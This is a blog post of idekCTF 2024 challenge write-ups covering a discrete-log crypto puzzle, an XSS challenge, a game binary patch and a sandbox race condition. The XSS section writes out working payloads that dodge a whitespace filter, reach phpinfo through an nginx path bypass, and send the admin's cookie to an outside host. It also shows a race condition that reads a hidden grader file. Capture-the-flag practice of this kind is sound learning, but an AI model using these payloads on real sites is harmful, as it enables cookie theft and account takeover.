Post

My idekCTF 2024 Writeups!

Intro

During the last couple of days, I’ve participated in idekCTF2024, which was a ton of fun, and had some very interesting challenges! This post contains my writeups for the challenges I solved :)

crypto/Golden Ticket

In this challenge, we are provided with a Python script, and its output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from Crypto.Util.number import *

#Some magic from Willy Wonka
def chocolate_generator(m:int) -> int:
    p = 396430433566694153228963024068183195900644000015629930982017434859080008533624204265038366113052353086248115602503012179807206251960510130759852727353283868788493357310003786807
    return (pow(13, m, p) + pow(37, m, p)) % p

#The golden ticket is hiding inside chocolate
flag = b"idek{REDACTED}"
golden_ticket = bytes_to_long(flag)
flag_chocolate = chocolate_generator(golden_ticket)
chocolate_bag = []

#Willy Wonka is making chocolates
for i in range(golden_ticket):
    chocolate_bag.append(chocolate_generator(i))

#And he put the golden ticket at the end
chocolate_bag.append(flag_chocolate)

#Augustus ate lots of chocolates, but he can't eat all cuz he is full now :D
remain = chocolate_bag[-2:]

#Can you help Charles get the golden ticket?
print(remain)

#[88952575866827947965983024351948428571644045481852955585307229868427303211803239917835211249629755846575548754617810635567272526061976590304647326424871380247801316189016325247, 67077340815509559968966395605991498895734870241569147039932716484176494534953008553337442440573747593113271897771706973941604973691227887232994456813209749283078720189994152242]

Stripping away all the fluff (e.g. appending numbers to chocolate_bag and then only keeping the last 2), the code defines a function chocolate_generator, which takes in a message m, and applies the following mapping: \

m_transform

Where p is a prime: \

1
2
$ openssl prime 396430433566694153228963024068183195900644000015629930982017434859080008533624204265038366113052353086248115602503012179807206251960510130759852727353283868788493357310003786807
642D664112A685CC2816EDDC7608A5EB8F4294010955CBA2C47DDD3E19BDF5C65746D0448B8ABE40C5D4153E2E244AD65C71DFD588BF98C7E03DF2D3435B5504EE2D3CE1362C36E3437 (396430433566694153228963024068183195900644000015629930982017434859080008533624204265038366113052353086248115602503012179807206251960510130759852727353283868788493357310003786807) is prime

The code then converts the flag (which we want to find) to a long, which we’ll call m for message, applies the mapping on the messages m - 1 and m, and gives us the results (in the comment at the end of the code). In other words, we are given the following two ciphertexts, and we seek to derive m from them:
given_chocolate First, we can remove the inner moduli, since they don’t change the result, and will make our algebra more messy. In the code, they’re only present since they make the exponentiation much (much) faster. Doing this, we get: \

trans_1

Much nicer already, no? :) At this point, I tried playing with (6) and (7) in order to isolate one of the terms (e.g. 13 to the power of m), instead of their sum. The rationale behind this being that given something of the form x^y mod p, we can solve a DLP, and recover y.
After some time trying various transformations that did not work, I tried the following manipulation: \

trans_2

Now we’re getting somewhere! Observe that if we multiply the result of this transformation by the multiplicative inverse of 24 (modulo p), we get 37^{m - 1}, which is exactly what we need for DLP. After we solve the DLP, we’ll have m - 1 in our hands, and we can then add 1 to get m, and convert the long to a string to get the flag.
Here’s the code to apply this transformation to the values from the challenge script: \

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from Crypto.Util.number import *

p = 396430433566694153228963024068183195900644000015629930982017434859080008533624204265038366113052353086248115602503012179807206251960510130759852727353283868788493357310003786807

def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    g, y, x = egcd(b%a,a)
    return (g, x - (b//a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('No modular inverse')
    return x%m

# Throughout this script, m denotes the long corresponding to the flag
# we want to find m
# chocolate_generator(m - 1)
y = 88952575866827947965983024351948428571644045481852955585307229868427303211803239917835211249629755846575548754617810635567272526061976590304647326424871380247801316189016325247
# chocolate_generator(m)
x = 67077340815509559968966395605991498895734870241569147039932716484176494534953008553337442440573747593113271897771706973941604973691227887232994456813209749283078720189994152242
# Observe that x - y * 13 = pow(37, m - 1, p) * 24
w = (x - ((y * 13) % p)) % p
# Multiply by the multiplicative inverse of 24 to get pow(37, m - 1, p)
z = (w * modinv(24, p)) % p
print("[RESULT] pow(37, m - 1, p) = {}".format(z))

I copied the code for finding the multiplicative inverse off of here. The code prints the following value for z: \

1
[RESULT] pow(37, m - 1, p) = 202381264918631605618568018335558744415584261633830403715050010461700903366078081399877299495465509078389703005220222975361464829762216007277932088482880826578710915390951613589

Now, we can solve the DLP using SageMath (sorry for the lack of syntax highlighting, the static site generator I’m using doesn’t support it :) ): \

1
2
3
4
5
6
7
sage: R = Integers(3964304335666941532289630240681831959006440000156299309820174348590800085336242042650383661130523530862481156025030121798072062519605101307
....: 59852727353283868788493357310003786807)
sage: a = R(37)
sage: b = R(20238126491863160561856801833555874441558426163383040371505001046170090336607808139987729949546550907838970300522022297536146482976221600727793208
....: 8482880826578710915390951613589)
sage: b.log(a)
57629776445896163024735745086814515288454966100802334039751672315837361336412607584713634047210889596

Let’s plug this value into our solution script, and get the flag! \

1
2
3
4
5
6
7
8
# Now we have pow(37, m - 1, p). This is just a standard DLP, and can be solved
# through the use of Sage
print("[RESULT] pow(37, m - 1, p) = {}".format(z))
# Sage result
m_dec = 57629776445896163024735745086814515288454966100802334039751672315837361336412607584713634047210889596
m = m_dec + 1

print("Flag: {}".format(long_to_bytes(m)))

Which prints: \

1
Flag: b'idek{charles_and_the_chocolate_factory!!!}'

Great! Overall, a very nice challenge.

Web/Hello

This challenge is the most difficult one I solved, but I also learned a lot from it. We are given two PHP files:

  • index.php:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    
    <?php
    function Enhanced_Trim($inp) {
      $trimmed = array("\r", "\n", "\t", "/", " ");
      return str_replace($trimmed, "", $inp);
    }
    
    if(isset($_GET['name']))
    {
      $name=substr($_GET['name'],0,23);
      echo "Hello, ".Enhanced_Trim($_GET['name']);
    }
    ?>      
    
  • And info.php:

    1
    2
    3
    
      <?php
      phpinfo();
      ?>
    

We are also given code for an admin node.js bot (note that the flag is located in the FLAG cookie, so we’ll need to exflitrate it somehow):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
/*
    script revamped from corctf

    this does not match the remote setup exactly, which uses the redpwn admin bot
    this is just to facilitate local testing

    npm i puppeteer
*/
let puppeteer;
const { parseArgs } = require("util");

const options = {
    CHALLENGE_ORIGIN: {
        type: "string",
        short: "c",
        default: "http://localhost:1337"
    }
};

let {
    values: { CHALLENGE_ORIGIN },
    positionals: [ TARGET_URL ]
} = parseArgs({ args: process.argv.slice(2), options, strict: false });

if (!TARGET_URL) {
    console.error(`\
Usage: node bot.js [-c CHALLENGE_ORIGIN] TARGET_URL

Arguments:
    TARGET_URL:         the url that the admin bot will visit

Options:
    CHALLENGE_ORIGIN:   the origin where the challenge instance is hosted
                        (default is http://localhost:1337)
`);
    process.exit(1);
}

puppeteer = require("puppeteer");
const sleep = d => new Promise(r => setTimeout(r, d));

const visit = async () => {
    let browser;
    try {
        browser = await puppeteer.launch({
            headless: true,
            pipe: true,
            args: [
                "--no-sandbox",
                "--disable-setuid-sandbox",
                "--js-flags=--noexpose_wasm,--jitless",
            ],
            dumpio: true
        });

        const ctx = await browser.createBrowserContext();

        console.log(CHALLENGE_ORIGIN);

        const page = await ctx.newPage();
        await page.goto(CHALLENGE_ORIGIN, { timeout: 3000 });
        await page.setCookie({ name: 'FLAG', value: 'idek{PLACEHOLDER}', httpOnly: true });

        await page.goto(TARGET_URL, { timeout: 3000, waitUntil: 'domcontentloaded' });

        await sleep(5000);

        await browser.close();
        browser = null;
    } catch (err) {
        console.log(err);
    } finally {
        if (browser) await browser.close();
    }
};

visit();

And an nginx config file for the server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
user www-data;
worker_processes  1;

events {
    worker_connections  1024;
}

http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    sendfile        on;
    keepalive_timeout  65;

    server {
        listen       80;
        server_name  localhost;

        location / {
            root   /usr/share/nginx/html;
            index  index.php index.html index.htm;
        }

        location = /info.php {
        allow 127.0.0.1;
        deny all;
        }   

        location ~ \.php$ {
        root           /usr/share/nginx/html;
        fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        include fastcgi_params;  
        fastcgi_pass unix:/var/run/php/php8.2-fpm.sock;
        }

    }
}

The index.php file takes in the name GET parameter, applies some basic sanitization on it using Enhanced_Trim, and echoes it:

1
2
3
4
5
6
7
<?php
if(isset($_GET['name']))
{
    $name=substr($_GET['name'],0,23);
    echo "Hello, ".Enhanced_Trim($_GET['name']);
}
?>   

The substr applied at the beginning doesn’t actually change the GET parameter, all it does is create a new local variable $name. The Enhanced_Trim function removes the following characters from its input:

  • Carriage returns
  • Newlines
  • Tabs
  • Forward slashes
  • Spaces The less-than and greater-than signs are not stripped, which allows us to create new HTML tags. For example, if we visit the path /?name=<img>, we get the following HTML:
1
<html><head></head><body>Hello, <img></body></html>

Great! Now, we need to find a way to execute JS. Remember that we can’t use common whitespace characters, so we can’t inject something like <img src=q onerror=alert(123)>. A quick Google search led me to this StackExchange post, whose answers mention that we can use the form feed (hex 0x0c) instead of a whitespace as such:

1
<svg%0conload=alert(123)>

Let’s try this by going to the URL /?name=<svg%0conload=alert(123)>:

alert_popup

Nice! We got an alert pop-up. From here on, the road to getting the flag should be pretty simple; we just need to change this into something that exfiltrates cookies (since the flag is located in the FLAG cookie of the admin bot). One of the most common methods, and the one we’ll go about doing this, is fetch()ing the attacker’s website, and sending the cookie in the URL parameter, as follows:

1
fetch(`http://attacker.com/cookies=${document.cookie}`)

But remember that we don’t have forward slashes, so we need to find a way to get some in order to specify the http:// prefix. The way I chose to do this was to take the prefix of the window.location.href DOM property. This DOM property contains the location of the current window; for example if we were to go to http://example.com and inspect this property, we’ll see:

window_location_href

Specifically note the http:// prefix. If we apply the substring method on this, we’ll get the string http:// (to get this, we run window.location.href.substring(0, 7)). We can do a similar thing (window.location.href.substring(5, 6)) to get the forward slash character. Armed with this prefix, we can construct our payload:

1
2
http://idek-hello.chal.idek.team:1337/?name=
<svg%0Conload=window.location=(window.location.href.substring(0, 7)%2b"attacker.com"%2bwindow.location.href.substring(5,6)%2b"cookies"%2bwindow.location.href.substring(5,6)%2bdocument.cookie)>

Note that %2b is the URL encoding for the plus character. Okay, we should be set! Let’s send the bot this payload:

admin_bot

And let’s examine the logs:

beeceptor_logs_one

What?! We didn’t get anything?! At first I tried this a few more times to see whether this had been a one-time thing, but I always got an empty request. At this point I got really stuck, and took a break from the challenge :) When I returned to the challenge, I finally found the issue. Let’s inspect the bot’s code again, specifically the part where it sets the FLAG cookie:

1
2
3
await page.goto(CHALLENGE_ORIGIN, { timeout: 3000 });
await page.setCookie({ name: 'FLAG', value: 'idek{PLACEHOLDER}', httpOnly: true });
await page.goto(TARGET_URL, { timeout: 3000, waitUntil: 'domcontentloaded' });

Huh! So the FLAG cookie has the HttpOnly flag set! Quoting from the MDN page on cookies: “A cookie with the HttpOnly attribute can’t be modified by JavaScript, for example using Document.cookie; it can only be modified when it reaches the server. Cookies that persist user sessions for example should have the HttpOnly attribute set — it would be really insecure to make them available to JavaScript. This precaution helps mitigate cross-site scripting (XSS) attacks.” Oh… so that’s why document.cookie returns an empty string… If so, we need to find an alternative way to get the cookies of the bot. After some time, it hit me: surely there’s some reason the info.php page exists. Indeed, the phpinfo() function returns the cookies of the user! There’s only a slight problem: let’s look at the relevant lines for controlling access to /info.php on the nginx config:

1
2
3
4
location = /info.php {
    allow 127.0.0.1;
    deny all;
}   

Hmm… so we can’t access it directly from the outside world. A quick Google search for nginx bypasses led me to the fact that accessing /info.php/index.php returns the same info as info /info.php. Let’s try it going to http://idek-hello.chal.idek.team:1337/info.php/index.php:

php_info

Nice! This page contains the cookies of the user who visits it, which leads us to the complete exploit (all of the actions are from the POV of the bot):

  1. Send a request to http://idek-hello.chal.idek.team:1337/info.php/index.php
  2. Parse the cookies from the page
  3. Send them to the attacker Now let’s construct the payload. We start from step 1:
1
<svg%0Conload=fetch(window.location.href.substring(0, 7)%2b"idek-hello.chal.idek.team:1337"%2bwindow.location.href.substring(5,6)%2b"info.php"%2bwindow.location.href.substring(5,6)%2b"index.php")>

The fetch() call returns us a promise with the Response of the /info.php/index.php page. Let’s start by getting the text:

1
.then(function(response){response.text()

Cool. The text() function returns a promise with the text of the page as a string. Let’s split the text into lines:

1
.then(function(txt){txt.split(`\n`)

For each line, we want to send it to the attacker if it contains the flag. We’ll accomplish this by calling forEach on the lines:

1
.forEach(function(line){if(line.indexOf("FLAG")!=-1){fetch(window.location.href.substring(0, 7)%2b"attacker.com"%2bwindow.location.href.substring(5,6)%2b"cookies?resp="%2bline

Seems a bit scary, but all it does is check whether the string FLAG appears in the current line. If it does, it calls fetch with attacker.com/cookies?resp= and then the line. Here’s the complete JS part of the payload in all its glory (I also changed the %2b’s to pluses):

1
2
3
4
5
6
7
8
fetch(window.location.href.substring(0, 7) + "idek-hello.chal.idek.team:1337" + bwindow.location.href.substring(5,6) + "info.php" + window.location.href.substring(5,6) + "index.php").then(function(response) {
	response.text().then(function(txt) {
	txt.split(`\n`).forEach(function(line) {
		if(line.indexOf("FLAG")!=-1) {
		fetch(window.location.href.substring(0, 7) + "mymockserver123456.free.beeceptor.com" + window.location.href.substring(5,6) + "cookies?resp=" + line)}
	})
	})
})

Or in the final form we’ll send to the bot:

1
http://idek-hello.chal.idek.team:1337/?name=<svg%0Conload=fetch(window.location.href.substring(0, 7)%2b"idek-hello.chal.idek.team:1337"%2bwindow.location.href.substring(5,6)%2b"info.php"%2bwindow.location.href.substring(5,6)%2b"index.php").then(function(response){response.text().then(function(txt){txt.split(`\n`).forEach(function(line){if(line.indexOf("FLAG")!=-1){fetch(window.location.href.substring(0, 7)%2b"mymockserver123456.free.beeceptor.com"%2bwindow.location.href.substring(5,6)%2b"cookies?resp="%2bline)}})})})>

Let’s try this:

hello_flag

Woohoo! We go the flag! This challenge was definitely on the harder side, but I learned a lot from it, and it was very fun.

rev/Game

This challenge is also pretty cool. We are given a Windows exectuable of a game, which is presumably a modification of a C++ version of the Chrome T-Rex game:

dino_game_gif

The description of the challenge says that we get the flag if we reach a high enough score. At first, I tried, to no avail, to solve this task using Cheat Engine. I did find the locations in memory for the score and the high score, and modified them, but this didn’t give me the flag, so I resorted to patching the game instead. Since the original, unmodified game is open-source, finding the score-related functions in the executable becomes easier. Our score changes when the dinosaur moves, so let’s look at the function that is responsible for handling the movement of the dino (in the C++ source of the unmodified game):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
auto MainStage::UpdateRunning(const double dt) -> void {
    if (speed_ < kMaxSpeed) {
        speed_ += 0.001;
    }

    running_time_ += dt;
    trex_.Update(dt);

    if (clip_frame_->width < kWindowWidth) {
        // intro transition, expand view
        auto rate = static_cast<double>(kWindowWidth) / kIntroDuration * dt * 2;
        clip_frame_->width += static_cast<int>(rate);
    } else {
        horizon_.UpdateWithSpeed(dt, speed_);
        clouds_.UpdateWithSpeed(dt, speed_);
        score_.UpdateWithSpeed(dt, speed_);
    }

    if (running_time_ > kClearTime) {
        obstacles_.UpdateWithSpeed(dt, speed_);
        if (trex_.HasCollision(obstacles_)) {
            Events::GetInstance()->Publish("on_play_sound", "hit");
            trex_.Crash();
            trex_.Update(dt);
            score_.UpdateHighScore();
            AddEntity(&restart_);
            state_ = RunnerState::GameOver;
        }
    }
}

Note that the speed of the dino gets incremented every time this function is called. If we change the instruction that increments the speed to an instruction that zeros the speed, we will still accumulate points, but won’t have to do anything, since the dinosaur doesn’t move, and therefore doesn’t encounter any obstacles. Finding this function is relatively simple, since we can just search for the floating-point value 0.001, whose hex value is 0x3f50624dd2f1a9fc in IDA:

text_search

We find one definition of this value in the .rdata section:

dq_rdata

The only XREF to this QWORD is in the following function:

update_running

This does look much like the MainStage::UpdateRunning function! First the current speed is compared with qword:14014F3B8, which contains kMaxSpeed, and then if the current speed is below the max speed, we addsd the 0.001 value to xmm2 (which contains the current speed), and movsd the new value to the value of the speed [rcx + 30h]. Let’s do some patching! We’ll change the addsd instruction to a pxor xmm2, xmm2 (to zero xmm2), and then put NOPs in the remaining bytes (I used this assembler for computing the opcodes of pxor xmm2, xmm2). Here’s what the result looks like:

pxor_mod

Let’s try this:

speed_zero

Hmm… the speed doesn’t change, but unfortunately the score also doesn’t change. We probably did something wrong then. Let’s look at the method that actually modifies the score, Score::UpdateWithSpeed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
auto Score::UpdateWithSpeed(const double dt, const double speed) -> void {
    distance_ += speed * (kFPS / 1000) * dt;
    sprites_.clear();

    auto score = GetScore();

    if (achievement_.has_achievement) {
        score = achievement_.last_achievement;
        ScoreFlashing(dt);        
    } else if (score > 0 && score % kAchievementDistance == 0) {
        Events::GetInstance()->Publish("on_play_sound", "achievement");
        achievement_.has_achievement = true;
        achievement_.flash_iterations = kFlashIterations;
        achievement_.last_achievement = score;
    }

    auto offset = 0.0;
    auto alpha = should_show_score_ ? 255 : 0;
    offset = DrawScore(score, kWindowWidth, alpha);
    if (high_score_ > 0) {
        offset = DrawScore(high_score_, offset, kHighScoreAlpha);
        DrawCharacter('i', offset - kCharOffset * 2, kHighScoreAlpha);
        DrawCharacter('h', offset - kCharOffset * 3, kHighScoreAlpha);
    }
}

Oh, so that’s why the score stays at zero. The first line adds ` speed * (kFPS / 1000) * dt to our current distance (which changes the score), and our speed is 0, so the distance doesn't change (since multiplying by zero gives zero). To fix this problem, let's find this function in IDA and look at the disassmebly. Remember that in MainStage::UpdateRunning, the Score::UpdateWithSpeed` method is called in the following context:

1
2
3
4
5
6
7
8
9
    if (clip_frame_->width < kWindowWidth) {
        // intro transition, expand view
        auto rate = static_cast<double>(kWindowWidth) / kIntroDuration * dt * 2;
        clip_frame_->width += static_cast<int>(rate);
    } else {
        horizon_.UpdateWithSpeed(dt, speed_);
        clouds_.UpdateWithSpeed(dt, speed_);
        score_.UpdateWithSpeed(dt, speed_);
    }

So we’re looking for a branch, and then 3 sequential calls. The score function is that third one. Indeed, we find a block that satisfies this condition in the disassembly for MainStage::UpdateRunning (I renamed the function to `Score__UpdateWithSpeed):

updatespeed_block

Great. Let’s go to the disassembly of UpdateWithSpeed now:

update_with_speed_disasm

Notice, in particular, the two multiplications:

1
2
mulsd xmm2, cs:qword:14014ECC0
mulsd xmm2, xmm1

The speed is passed in xmm1, which is zero because our patch, so we want the mulsd xmm2, xmm1 instruction to not happen. Instead of NOPing, I just changed mulsd xmm2, xmm1 to addsd xmm2, xmm6, since xmm6 contains a nonzero value, and xmm2 contains the new distance (since we have the movsd qword ptr [rcx+30h], xmm2 instruction). Here’s the code with the patch:

update_score_w_patch

Awesome! Let’s test:

score_goes_up

Yay! Our score goes up without doing anything. At this point, all we need to do is let the patched game run long enough (~5 min), and we get the flag:

game_flag

This challenge is also really fun :) Note that there’s probably a simpler way to solve this challenge (e.g. changing the score multiplier so that the score changes much faster), but this method also works

Web/Crator

In this challenge, we get a Flask-based Competitive Programming web application:

crator_home

And its code, which resides in the following files:

1
2
3
app.py
db.py
sandbox.py

The app also uses a SQLIte database, which is located in the file db.sqlite. Let’s start by figuring out where the flag is located: I just grepped for FLAG, and got the following code in db.py:

1
2
3
4
5
6
7
8
9
10
engine = create_engine('sqlite:///db.sqlite')
Base.metadata.create_all(engine)

with Session(engine) as db:
    flag = os.environ.get("FLAG")
    if flag:
        flag_case = db.scalar(select(ProblemTestCase).filter_by(problem_id="helloinput", hidden=True))
        # flag_case.input = flag
        flag_case.output = flag + "\n"
        db.commit()                  

From a brief look at this code, it seems like we write a test case for the problem helloinput to the DB, whose output is the flag (which is located in the envvar FLAG). Let’s confirm our hypothesis by looking at the tables in db.sqlite:

1
2
3
sqlite> .tables
problem_test_cases  submission_outputs  users             
problems            submissions     

And checking the schema for problem_test_cases:

1
2
3
4
5
6
7
8
9
CREATE TABLE IF NOT EXISTS "problem_test_cases" (
	"id"	INTEGER NOT NULL,
	"problem_id"	VARCHAR,
	"input"	VARCHAR,
	"output"	VARCHAR,
	"hidden"	INTEGER,
	FOREIGN KEY("problem_id") REFERENCES "problems"("id"),
	PRIMARY KEY("id")
);

Nice; now we know what our goal is: reading the output of the testcase for helloinput. Let’s navigate to that problem in the app:

hello_input

Let’s submit the code they give us:

submit_first

And check the results:

sub_results

Our submission is run on two test cases, the first of which we can see the output of, but the flag is hidden! Let’s dig into the code. The website includes some login/register functionality, but it isn’t very relevant to the challenge. The most important part is how our code runs, and more specifically how the output of the code is compared against the expected outputs (the following function is in app.py):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
@app.route('/submit/<problem_id>', methods=['GET', 'POST'])
@login_required
def submit(problem_id):
    with Session(engine) as db:
        # Select problem
        problem = db.scalar(select(Problem).filter_by(id=problem_id))
        if not problem:
            abort(404)
        if request.method == 'GET':
            return render_template('submit.html', problem=problem)
        
        # Get testcases, code, sandbox
        testcases = db.scalars(select(ProblemTestCase).filter_by(problem_id=problem_id)).all()
        code = request.form['code']
        if len(code) > 32768:
            return abort(400)
        with open('sandbox.py', 'r') as f:
            sandbox = f.read()

        # Create submission
        submission = Submission(problem_id=problem_id, user_id=session['user_id'], code=code, status='Pending')
        db.add(submission)
        db.commit()
        submission_id = submission.id

        # Prepare code
        shutil.copy('sandbox.py', f'/tmp/sandbox.py')
        with open(f'/tmp/{submission_id}.py', 'w') as f:
            f.write(f'__import__("sandbox").Sandbox("{submission_id}")\n' + code.replace('\r\n', '\n'))
        
        # Run testcases
        skip_remaining_cases = False
        for testcase in testcases:
            # Set testcase staus
            submission_case = SubmissionOutput(submission_id=submission_id, testcase_id=testcase.id, status='Pending')
            db.add(submission_case)
            if skip_remaining_cases:
                submission_case.status = 'Skipped'
                db.commit()
                continue

            if not testcase.hidden:
                submission_case.expected_output = testcase.output
            # Set up input and output files
            with open(f'/tmp/{submission_id}.in', 'w') as f:
                f.write(testcase.input.replace('\r\n', '\n'))
            with open(f'/tmp/{submission_id}.expected', 'w') as f:
                f.write(testcase.output.replace('\r\n', '\n'))

            # Run code
            try:
                proc = subprocess.run(f'sudo -u nobody -g nogroup python3 /tmp/{submission_id}.py < /tmp/{submission_id}.in > /tmp/{submission_id}.out', shell=True, timeout=1)
                if proc.returncode != 0:
                    submission.status = 'Runtime Error'
                    skip_remaining_cases = True
                    submission_case.status = 'Runtime Error'
                else:
                    diff = subprocess.run(f'diff /tmp/{submission_id}.out /tmp/{submission_id}.expected', shell=True, capture_output=True)
                    if diff.stdout:
                        submission.status = 'Wrong Answer'
                        skip_remaining_cases = True
                        submission_case.status = 'Wrong Answer'
                    else:
                        submission_case.status = 'Accepted'
            except subprocess.TimeoutExpired:
                submission.status = 'Time Limit Exceeded'
                skip_remaining_cases = True
                submission_case.status = 'Time Limit Exceeded'
            
            # Cleanup
            with open(f'/tmp/{submission_id}.out', 'r') as f:
                submission_case.actual_output = f.read(1024)
            db.commit()
            __cleanup_test_case(submission_id)
        # Set overall status
        if submission.status == 'Pending':
            submission.status = 'Accepted'
            db.commit()
        os.remove(f'/tmp/{submission_id}.py')
        return redirect(f'/submission/{submission_id}')

The important parts of the code are as follows:

  • Write our submission to the submissions table in the DB
  • Get the testcases from the problem_test_cases table in the DB
  • Read the sandbox.py file and copy it to /tmp/sandbox.py (we’ll go into detail about this file later)
  • Write our (sandboxed) submission code to /tmp/<submission id>.py
  • Iterate over each testcase, and for each one, write the input and expected output into /tmp/<submission id>.in and /tmp/<submission id>.expected respectively
  • Run our code as nobody and diff the results
  • Delete the leftover files Note that the output of each test case is written to a file! If we can manage to read that file (i.e. /tmp/<submission id>.expected), we can get the flag! To see if we can do that, let’s look at the sandboxing code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
builtins_whitelist = set(
    (
        "RuntimeError",
        "Exception",
        "KeyboardInterrupt",
        "False",
        "None",
        "True",
        "bytearray",
        "bytes",
        "dict",
        "float",
        "int",
        "list",
        "object",
        "set",
        "str",
        "tuple",
        "abs",
        "all",
        "any",
        "apply",
        "bin",
        "bool",
        "buffer",
        "callable",
        "chr",
        "classmethod",
        "cmp",
        "coerce",
        "compile",
        "delattr",
        "dir",
        "divmod",
        "enumerate",
        "filter",
        "format",
        "hasattr",
        "hash",
        "hex",
        "id",
        "input",
        "isinstance",
        "issubclass",
        "iter",
        "len",
        "map",
        "max",
        "min",
        "next",
        "oct",
        "open",
        "ord",
        "pow",
        "print",
        "property",
        "range",
        "reduce",
        "repr",
        "reversed",
        "round",
        "setattr",
        "slice",
        "sorted",
        "staticmethod",
        "sum",
        "super",
        "unichr",
        "xrange",
        "zip",
        "len",
        "sort",
    )
)


class ReadOnlyBuiltins(dict):
    def clear(self):
        raise RuntimeError("Nein")

    def __delitem__(self, key):
        raise RuntimeError("Nein")

    def pop(self, key, default=None):
        raise RuntimeError("Nein")

    def popitem(self):
        raise RuntimeError("Nein")

    def setdefault(self, key, value):
        raise RuntimeError("Nein")

    def __setitem__(self, key, value):
        raise RuntimeError("Nein")

    def update(self, dict, **kw):
        raise RuntimeError("Nein")


def _safe_open(open, submission_id):
    def safe_open(file, mode="r"):
        if mode != "r":
            raise RuntimeError("Nein")
        file = str(file)
        if file.endswith(submission_id + ".expected"):
            raise RuntimeError("Nein")
        return open(file, "r")

    return safe_open


class Sandbox(object):
    def __init__(self, submission_id):
        import sys
        from ctypes import pythonapi, POINTER, py_object

        _get_dict = pythonapi._PyObject_GetDictPtr
        _get_dict.restype = POINTER(py_object)
        _get_dict.argtypes = [py_object]
        del pythonapi, POINTER, py_object

        def dictionary_of(ob):
            dptr = _get_dict(ob)
            return dptr.contents.value
        type_dict = dictionary_of(type)
        del type_dict["__bases__"]
        del type_dict["__subclasses__"]
        original_builtins = sys.modules["__main__"].__dict__["__builtins__"].__dict__
        original_builtins["open"] = _safe_open(open, submission_id)
        for builtin in list(original_builtins):
            if builtin not in builtins_whitelist:
                del sys.modules["__main__"].__dict__["__builtins__"].__dict__[builtin]
        safe_builtins = ReadOnlyBuiltins(original_builtins)
        sys.modules["__main__"].__dict__["__builtins__"] = safe_builtins
        if hasattr(sys.modules["__main__"], "__file__"):
            del sys.modules["__main__"].__file__
        if hasattr(sys.modules["__main__"], "__loader__"):
            del sys.modules["__main__"].__loader__
        for key in [
            "__loader__",
            "__spec__",
            "origin",
            "__file__",
            "__cached__",
            "ReadOnlyBuiltins",
            "Sandbox",
        ]:
            if key in sys.modules["__main__"].__dict__["__builtins__"]["open"].__globals__:
                del sys.modules["__main__"].__dict__["__builtins__"]["open"].__globals__[key]

This is pretty standard Python sandboxing code. It disallows imports, restricts builtins, etc. I tried executing commands with it, but that didn’t work. After some sifting through the code, I noticed this part:

1
2
3
4
5
6
7
8
9
10
11
12
def _safe_open(open, submission_id):
    def safe_open(file, mode="r"):
        if mode != "r":
            raise RuntimeError("Nein")
        file = str(file)
        if file.endswith(submission_id + ".expected"):
            raise RuntimeError("Nein")
        return open(file, "r")

    return safe_open

original_builtins["open"] = _safe_open(open, submission_id)

Great! So we have access to open, and can read arbitrary files! But how can we read the expected output? After all, the files are deleted after the submission is done executing… To bypass this, we will use a race condition! Consider the following sequence of actions:

  1. Start submission A, which does the following:
  2. If the input of A is “Welcome to Crator” (the first test case), prints “Welcome to Crator”
  3. Otherwise (the input whose expected value is the flag), enter an infinite loop so that the .expected file doesn’t get deleted (the code does terminate after 1s, but this is plenty of time)
  4. At the same time, start submission B, which reads the .expected file, and prints its contents One picture is worth a thousand words:

race_condition

The code we’ll use for Submission A is:

1
2
3
4
5
if input() == "Welcome to Crator":
	print("Welcome to Crator")
else:
	while True:
		pass

And the code for Submission B is:

1
print(open("/tmp/1.expected").read())

Let’s run them both at the same time, and look at the result for Submission B:

crator_flag

Also a very fun challenge!

Summary

Playing this CTF was very fun, and I learned a lot from it. Thanks to the CTF organizers for the challenges, and thank you for reading!

This post is licensed under CC BY 4.0 by the author.